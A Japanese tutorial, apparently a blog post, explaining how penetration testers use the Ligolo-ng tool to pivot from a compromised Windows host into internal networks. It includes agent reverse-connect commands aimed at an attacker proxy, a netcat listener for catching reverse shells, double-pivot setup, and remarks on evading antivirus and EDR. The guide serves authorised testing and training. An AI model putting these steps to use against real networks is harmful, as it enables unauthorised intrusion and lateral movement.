はじめに: Ligolo-ngとは?
Ligolo-ngは、ペネトレーションテスターやレッドチームが内部ネットワークへアクセスするために使用する、高度かつシンプルなトンネリング・ピボットツールです。Go言語で書かれており、軽量かつ高速な動作が特徴です。
このツールの最大の特徴は、TUNインターフェースを利用してリバースTCP/TLS接続からトンネルを確立する点にあります。これにより、SOCKSプロキシを必要とせず、VPNに接続しているかのように透過的に内部ネットワークへアクセスできます。面倒なProxychainsの設定から解放されるのは大きなメリットです 。
Ligolo-ngは、侵害したマシン(エージェント)と攻撃者のマシン(プロキシ)の間に安全なトンネルを構築し、ファイアウォールなどのネットワーク制限をバイパスして、通常では到達できない内部リソースへのアクセスを可能にします。
Kali Linux 2024.2からはデフォルトのリポジトリに含まれるようになり、より手軽に利用できるようになりました。
Ligolo-ngの仕組み
Ligolo-ngは主に2つのコンポーネントで構成されます。
- Proxy (プロキシ): 攻撃者のマシン(通常はKali Linux)で動作します。エージェントからの接続を待ち受け、TUNインターフェースを作成・管理します。
- Agent (エージェント): 侵害したターゲットネットワーク内のマシンで動作します。プロキシサーバーに対してリバース接続を開始し、トンネルを確立します。エージェントの実行には管理者権限は不要です。
動作フローは以下のようになります。
- 攻撃者は自身のマシンでLigolo-ngプロキシを起動し、エージェントからの接続を待ち受けます。
- 攻撃者は、侵害したネットワーク内のマシンにLigolo-ngエージェントをアップロードし、実行します。
- エージェントは、指定された攻撃者のプロキシサーバーに対してリバース接続を試みます。
- 接続が確立されると、プロキシサーバーはTUNインターフェース(例: `ligolo`)を作成します。
- プロキシサーバーは、このTUNインターフェースを介して内部ネットワークへのルーティングを設定します。
- 攻撃者は、自身のマシンからTUNインターフェースを通じて、あたかも内部ネットワークに直接接続しているかのように、ターゲットネットワーク内の他のマシンやサービスにアクセスできます。
通信はTLSによって暗号化できるため、データの機密性と完全性が保証されます。
Ligolo-ngは、ユーザーランドのネットワークスタック(Gvisorを使用)を作成することで、TUNインターフェースを介して送受信されるパケットを処理します。例えばTCP接続の場合、SYNパケットはリモートでの`connect()`に変換され、成功すればSYN-ACKが返され、失敗すればRSTが返る、といった具合に動作します。これにより、Proxychainsを使わずに`nmap`のようなツールを直接実行できます。
インストール方法
Ligolo-ngのインストール方法はいくつかあります。
Kali Linux (推奨)
Kali Linux 2024.2以降を使用している場合、aptコマンドで簡単にインストールできます。
sudo apt update
sudo apt install ligolo-ng
ただし、常に最新版を使いたい場合は、GitHubリリースページから直接ダウンロードする方法が推奨されています。
GitHubからのダウンロード
最新版や特定のバージョンのバイナリは、公式のGitHubリリースページからダウンロードできます。
攻撃者マシン用のProxyバイナリと、ターゲットマシン(侵害先)のOSとアーキテクチャに合ったAgentバイナリをダウンロードします。例えば、攻撃者がLinux (amd64)、ターゲットがWindows (amd64) の場合は、以下のようになります。
# Proxy (Linux) のダウンロード例 (バージョンは適宜変更)
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.5.2/ligolo-ng_proxy_0.5.2_linux_amd64.tar.gz
tar -xvf ligolo-ng_proxy_0.5.2_linux_amd64.tar.gz
chmod +x proxy
# Agent (Windows) のダウンロード例 (バージョンは適宜変更)
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.5.2/ligolo-ng_agent_0.5.2_windows_amd64.zip
# (必要に応じて unzip で解凍)
ダウンロードしたAgentファイルは、ターゲットマシンに転送する必要があります(例: Webサーバー経由、SCP、SMBなど)。
ソースからのビルド (Proxy)
Proxyを自分でビルドする場合(通常は不要ですが)、Go言語の開発環境(バージョン1.20以上推奨)が必要です。
# Goのインストール (例: Debian/Ubuntu系)
sudo apt install golang
# リポジトリのクローン
git clone https://github.com/nicocha30/ligolo-ng.git
cd ligolo-ng
# Proxyのビルド
go build -o proxy cmd/proxy/main.go
chmod +x proxy
基本的な使い方
ここでは、攻撃者のKali Linuxマシンから、侵害したWindowsマシン(Pivotマシン)を踏み台にして、さらに内部のネットワーク(例: 192.168.100.0/24)にアクセスするシナリオを例に説明します。
前提:
- 攻撃者マシン (Kali): IPアドレス `10.0.0.5`
- Pivotマシン (Windows): 外部IP `10.0.0.10`、内部IP `192.168.100.10`
- ターゲット内部ネットワーク: `192.168.100.0/24`
- Ligolo-ngのProxyバイナリ (`proxy`) がKaliに、Agentバイナリ (`agent.exe`) がPivotマシンに配置済み。
ステップ1: TUNインターフェースの作成 (Kali)
まず、攻撃者マシン(Kali)でLigolo-ngが使用するTUNインターフェースを作成し、有効化します。これには管理者権限が必要です。
# 'your_username' は実際のKaliのユーザー名に置き換える
sudo ip tuntap add user your_username mode tun ligolo
sudo ip link set ligolo up
`ip a` コマンドなどで `ligolo` という名前のインターフェースが作成され、UP状態になっていることを確認します。
ステップ2: Proxyサーバーの起動 (Kali)
次に、攻撃者マシンでProxyサーバーを起動します。`-selfcert` オプションは、自己署名証明書を自動生成してTLS通信を有効にするためのものです。検証環境では便利ですが、実際の運用では信頼できる証明書の使用を検討してください。
./proxy -selfcert
Proxyはデフォルトでポート `11601` でエージェントからの接続を待ち受けます。
ステップ3: Agentの接続 (Pivotマシン)
侵害したPivotマシン(Windows)上でAgentを実行し、KaliのProxyサーバーに接続します。
.\agent.exe -connect 10.0.0.5:11601 -ignore-cert
- `-connect <proxy_ip>:<port>`: 接続先のProxyサーバーのIPアドレスとポートを指定します。
- `-ignore-cert`: Proxyが自己署名証明書を使っている場合に指定します。
接続に成功すると、Kali側のProxyのコンソールに `Session […] started` のようなメッセージが表示されます。
ステップ4: セッションの確認と開始 (Kali Proxy)
KaliのProxyコンソールで、接続されたセッションを確認します。
session
アクティブなセッションが表示されるので、そのセッションを選択(通常は自動で選択されるか、番号で指定)し、`ifconfig` コマンドでPivotマシンのネットワーク情報を確認できます。
[Agent : WIN-MACHINE\User@WIN-MACHINE] » ifconfig
トンネルを開始します。
[Agent : WIN-MACHINE\User@WIN-MACHINE] » start
これでトンネルがアクティブになります。`start`コマンド実行後、Proxyコンソールには`Tunnel started`と表示され、Kali側にIPアドレス(例: `10.42.0.1/24`)が `ligolo` インターフェースに割り当てられます。
ステップ5: ルーティングの設定 (Kali)
最後に、Kaliマシンからターゲット内部ネットワーク(`192.168.100.0/24`)への通信が `ligolo` インターフェースを経由するようにルーティングを設定します。
sudo ip route add 192.168.100.0/24 dev ligolo
これで設定は完了です! Kaliマシンから `192.168.100.x` のIPアドレスを持つ内部マシンに対して、`ping` や `nmap`、`ssh` などのツールを直接使用できるようになります。Proxychainsは必要ありません。
ping 192.168.100.50
nmap -sT -p 80,445 192.168.100.0/24
ssh admin@192.168.100.60
便利な機能と応用
リスナー (Listener) 機能
Ligolo-ngには、Agentが動作しているマシン上のポートを、Proxyマシン(Kali)上のポートに転送するリスナー機能があります。これは、内部ネットワーク内のマシンからリバースシェルを受け取ったり、内部ネットワーク内のマシンからKali上のサーバー(例: HTTPサーバー)にアクセスさせたりするのに役立ちます。
例: 内部ネットワークのマシンからKaliへのリバースシェル
- Kali側でNetcatリスナーを起動: `nc -lvnp 4444`
- KaliのProxyコンソールでリスナーを設定 (Pivotマシンのポート1234への接続をKaliの4444へ転送):
[Agent : WIN-MACHINE\User@WIN-MACHINE] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444
- 内部ネットワークのマシンからPivotマシンのIP(例: `192.168.100.10`)のポート1234へリバースシェル接続を実行。
例: 内部ネットワークのマシンからKaliのWebサーバーへアクセス
- Kali側でWebサーバーを起動: `python3 -m http.server 8000`
- KaliのProxyコンソールでリスナーを設定 (Pivotマシンのポート8080への接続をKaliの8000へ転送):
[Agent : WIN-MACHINE\User@WIN-MACHINE] » listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:8000
- 内部ネットワークのマシンからブラウザなどで `http://192.168.100.10:8080` にアクセスすると、KaliのWebサーバーのコンテンツが表示されます。ファイル転送などに利用できます。
設定したリスナーは `listener_list` で確認、`listener_stop –id <ID>` で停止できます。
ダブルピボット (Double Pivoting)
Ligolo-ngは、複数のAgentを接続し、多段的なピボット(ダブルピボットなど)を行うことも可能です。例えば、Network A -> Network B (Pivot1) -> Network C (Pivot2) のような経路でNetwork Cにアクセスしたい場合です。
基本的な手順はシングルピボットと似ていますが、追加のステップが必要になります。
- 最初のPivot(Network B)へのトンネルを確立します(上記「基本的な使い方」参照)。
- Network B内の別のマシン(Pivot2)にAgentを転送し、そのAgentを起動します。この際、接続先として指定するのは最初のPivotマシン (Pivot1) の内部IPアドレスと、Kali Proxy上で設定したリスナーポートになります。
- Kali Proxy側で、Pivot2からの接続を受け付けるためのリスナーを設定します。
(これはPivot1の11602ポートに来たTCP接続を、KaliのProxy待ち受けポート11601に転送する設定例です)[Agent : Pivot1] » listener_add --addr 0.0.0.0:11602 --to 127.0.0.1:11601 --tcp
- Pivot2でAgentを起動し、Pivot1のIPアドレスとポート11602に接続します。
.\agent.exe -connect <Pivot1_Internal_IP>:11602 -ignore-cert
- Kali ProxyにPivot2からの新しいセッションが確立されます。
- 新しいセッションを選択し、`start` コマンドでトンネルを開始します。
- Kaliで、Network Cへのルーティングを `ligolo` インターフェースに追加します。
sudo ip route add <Network_C_CIDR> dev ligolo
これにより、KaliからNetwork Cへ直接アクセスできるようになります。より複雑なネットワーク構成でも、同様の手順でピボットを連鎖させることが可能です。
Agentが動作するホストへのアクセス
Agentが動作しているホスト自体のローカルポート(例: SSH、RDP)にアクセスしたい場合、Ligolo-ngは特別なIPアドレス `240.0.0.1` を提供します。KaliからこのIPアドレスにアクセスすると、現在アクティブなAgentセッションのホストに接続できます。
ssh user@240.0.0.1
xfreerdp /v:240.0.0.1 /u:user /p:password
利点と考慮事項
利点
- 透過的なアクセス: VPNのように動作し、Proxychainsが不要なため、多くのツール(Nmap, Metasploit, RDPクライアントなど)をそのまま利用できます。
- 高速: SOCKSプロキシを経由する方法(例: Chisel + Proxychains)と比較して、一般的に高速です。ベンチマークでは100 Mbps以上の速度も報告されています。
- Agentに管理者権限不要: ターゲットマシン上でAgentを実行するのに管理者権限が必要ありません。
- TLS暗号化: 通信はTLSで保護されます。
- 多機能: リスナー機能やダブルピボットなど、高度なピボットシナリオに対応できます。
- マルチプラットフォームAgent: Linux, Windows, macOSなど、様々なOS向けのAgentバイナリが提供されています。
- 活発な開発: GitHub上で開発が継続されています。
考慮事項
- Proxyに管理者権限が必要: 攻撃者マシン側でTUNインターフェースを作成するために管理者権限が必要です。
- セットアップの複雑さ: Chiselのようなツールと比較すると、TUNインターフェースの作成やルーティング設定など、初期セットアップの手順が少し多いと感じるかもしれません。
- Agentの検知リスク: Agentバイナリをターゲットマシンに配置・実行するため、アンチウイルスソフトやEDRによって検知される可能性があります。難読化や実行方法の工夫が必要になる場合があります。
- 自己署名証明書のリスク: `-selfcert` オプションを使用する場合、中間者攻撃のリスクがないとは言えません。信頼性が重要な環境では、正規の証明書の使用を検討すべきです。
Ligolo-ng vs Chisel 比較表
Ligolo-ngとしばしば比較されるツールとしてChiselがあります。どちらも強力なトンネリングツールですが、仕組みや特徴に違いがあります。
特徴 | Ligolo-ng | Chisel |
---|---|---|
基本原理 | TUNインターフェース (VPN風) | SOCKSプロキシ / ポートフォワード |
透過性 | 高い (Proxychains不要) | 低い (SOCKS利用時はProxychains必要) |
速度 | 一般的に高速 | Ligolo-ngより遅い場合がある |
Agent権限 | 一般ユーザー権限でOK | 一般ユーザー権限でOK |
Proxy/Server権限 | 管理者権限が必要 (TUN作成のため) | 一般ユーザー権限でOK |
設定の容易さ | やや複雑 (TUN/Route設定) | 比較的シンプル |
プロトコル | TCP, UDP, ICMPなど広範に対応 | 主にTCP (SOCKS経由) |
暗号化 | TLS (自己署名 or 正規証明書) | SSHベースの暗号化 (セキュア) |
主なユースケース | VPNのように内部ネットワーク全体にアクセスしたい場合。Nmap等ツールを直接使いたい場合。 | 特定のポートフォワードやSOCKSプロキシを手軽に構築したい場合。管理者権限が使えない攻撃者マシン環境。 |
どちらのツールが適しているかは、状況や目的によって異なります。両方の使い方を習得しておくと、ペネトレーションテストにおける選択肢が広がります。OSCPのような試験では、Ligolo-ngが推奨されることが多いようです。
まとめ
Ligolo-ngは、TUNインターフェースを利用することで、VPNのような透過的なネットワークアクセスを実現する非常に強力なピボット・トンネリングツールです。Proxychainsの設定の手間から解放され、Nmapなどの標準的なネットワークツールを直接内部ネットワークに対して使用できる点は大きな魅力です。
セットアップにはTUNインターフェースの作成やルーティング設定など、いくつかのステップが必要ですが、一度慣れてしまえば、その利便性とパフォーマンスの高さから手放せないツールとなるでしょう。特に、複雑なネットワーク環境でのラテラルムーブメントや、Active Directory環境のペネトレーションテストにおいて、その真価を発揮します。
リスナー機能やダブルピボット機能も備えており、様々なシナリオに対応可能です。ペネトレーションテスターやレッドチーマーにとって、習得しておくべき重要なツールの一つと言えます。ぜひ試してみてください!